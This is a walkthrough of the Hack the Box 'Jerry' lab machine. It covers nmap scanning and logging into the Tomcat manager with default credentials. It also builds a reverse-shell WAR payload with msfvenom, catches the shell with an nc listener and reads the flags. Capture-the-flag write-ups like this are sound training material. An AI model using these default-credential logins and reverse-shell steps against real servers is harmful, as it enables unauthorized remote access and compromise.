Walkthrough of Jerry Machine – Hack the Box

Published on 2020-08-23

In a new terminal window, run nmap -sC -sV 10.10.10.95
-sC: Adds on the “default” scripts to be run which include things like “Speed”, “usefulness”, and “Intrusiveness”. You can check them out in more detail by looking under “default” in the Script Categories section on this website
-sV: Probe open ports to determine service/version info
It looks like we only have one open port (8080) and it’s running a service called Apache Tomcat/Coyote JSP engine 1.1
If we do a little research we find out a few things:
Apache Tomcat is a “pure Java” HTTP web server environment in which Java code can run
Coyote is a Connector component for Tomcat that supports the HTTP 1.1 protocol as a web server
Being that Apache Tomcat (or Tomcat for short) provides a web-server environment, we can actually go to the website and see it.
Let’s check it out by going to http://10.10.10.95:8080
This URL works because we know from the portscan that Tomcat is an http service, so we add the “http://” at the beginning followed by the HTB IP address, and then the ":8080" allows us to specify the port number. All of this works together to say we want to go to the IP address 10.10.10.95 via an http connection at port 8080
Once we get there we can see a few things:
If we explore around, most of the clickable options redirect us to help pages for how to use Tomcat, with the exception of the Server Status, Manager App, and Host Manager. If we click on any of those three we get this pop-up:
So it’s asking us for credentials that we don’t know. Before trying to set up any complicated password breaking attacks, I find it a good idea to try at least a few of the basics. Some of these include admin:admin, admin:password, admin:pass, etc, (where admin stands for administrator in the hopes that with these credentials we can log into the account with the most privileges
If we try admin:admin on the Server Status feature it works! And we end up looking at a page like this:
This page has a bunch of information about Tomcat and this particular server it’s running on. Unfortunately, aside from telling us a little bit more about the server, it doesn’t help us get any closer finding a vulnerability
Lets go back and try a different option to see if we can find something more useful. If we go back to the main page and click on Manager App however, we get this 403 error message (you may have also gotten a similar 401 error message earlier if you had clicked Cancel or exited out of the username password prompt):
The 401 error is a result of the website thinking we are attempting to access a page without giving credentials when we exit out of the login pop-up, and the 403 error is when we are logged in with credentials, but then try and access a page that we don’t have privileges to
This error message is very interesting though, if we read it, we find that it gives us instructions on how to set up a manager account, with example credentials tomcat:s3cret. Now what often happens is that people will follow these instructions exactly (same way you might go about changing a password for a website), however, if the service doesn’t check for (or the user doesn’t remember to change) the example credentials, then we may be able to use them to sign into our administrator account
To be able to try this new idea though, we first need to be able to get our pop-up back to retry our credentials, and as you probably noticed, Tomcat will only show us error messages instead. To fix this, we need to go to Preferences -> Privacy & Security -> History and clear our history (there should be options as to how far back you want to erase your history if you don’t want to delete everything):
The reason this works, is because every time we attempt to log in, the website takes our credentials, encodes them, and puts them in what’s called a “header”. This header is read by the website and if it matches the proper credentials, then it will allow us to access the content. If it doesn’t match, then the website will react with an error message. Most browsers save our most recent credentials or headers on websites, so by clearing our history, we can clear them which allows us to try again.
Once we’ve done that, we can go back, click on Manager App and our pop-up is back!
If we try tomcat:s3cret it works and we get this page:
If we explore around a little we’ll find a section called “WAR file to deploy”, and this is what we’re going to want to look at, because chances are if we have the ability to upload something, we can make that something do what we want
So what even is a WAR file?
A WAR (Web Application Resource) file is like a ZIP file in the sense that it is actually a collection of other files compressed together. However unlike ZIP files, WAR files are comprised solely of JAR files meant to hold resources to create a website
Now before we start trying to write our own WAR file, lets check if we have any tools that might have something already written
One way we can check is by using a program called MsfVenom, a payload generator for Metasploit
Since we know WAR files are a collection of JSP/Java files, lets see what payload options MsfVenom has with msfvenom -l payloads | grep java
The msfvenom -l payloads will list all of the payloads MsfVenom can produce, but since there are so many we’ll want to reduce our results by pipelining the results through grep java which filters all the results and shows us only the ones with the word “java” in it
Taking a look at these results, we can narrow it down by figuring out what else we want, JSP (because it’s a WAR file), a reverse shell (check out the first bit of this article to understand why), and a tcp connection (as we determined from our portscan). This leaves us with the “java/jsp_shell_reverse_tcp” option
To create our WAR file to upload to Tomcat, we’ll run msfvenom -p java/jsp_shell_reverse_tcp LHOST=yourHtbIp LPORT=openPort -f war > aName.war. Now that’s a big command with a lot of fill-in-the-blanks so let’s break it down:
msfvenom: We are using MsfVenom to create our program and this calls it
-p java/jsp_shell_reverse_tcp: This indicates that we want to create a payload in java that will create a JSP Reverse Shell using a TCP connection
LHOST=yourHtbIp: Setting the local host by replacing “yourHtbIp” with your Hack the Box IP (can be found in the Access tab when signed into your HTB account)
LPORT=openPort: Setting the port to be used for the reverse shell connection
-f war: Setting the format of the payload to be a WAR file
> aName.war: Replace “aName” with whatever you want to name your payload file
You’ll want to run your version of the command, and after a few moments you’ll get a message saying the size of the file, and if we type ls we can see our file!
So let’s go ahead and upload our WAR file to Tomcat by clicking “Browse” in the “WAR file to deploy” section, and once we see our file in there, click “Deploy”
If you did it right, you should see your file sorted in alphabetically with the other preexisting files:
Before we do anything with it though, since we learned a Reverse Shell relies on a “listener” running on our device for our victim to connect to with a shell, we need to set up a listener with nc -lvnp yourLPORT
-lvnp is short for -l -v -n -p and specifies four things:
-l: Listen for incoming traffic
-v: Be verbose (give details of what is going on in the process)
-n: No DNS lookups are required (it saves time and makes the command simpler)
-p: Specifies a specific port to be listening on (which is why you need to put an open port after to be listening on)
Once we do that, we should get this response showing that our “listener” is ready
Let’s go ahead and activate our WAR file by clicking on it in Tomcat, and if we check our listener, we have a shell!
Since we’re in a new shell, we’ll want to check out the help page to see what the commands are by running help
We can see all of the commands and what they do in this shell, the main ones that concern us will be that the command dir replaces ls and cat is replaced with type
If we navigate around using these commands, we’ll find a file in Users/Administrator/Desktop/flags called “2 for the price of 1.txt”
If we run type "2 for the price of 1.txt", then we can see our user and root hashes and enter them to get our points!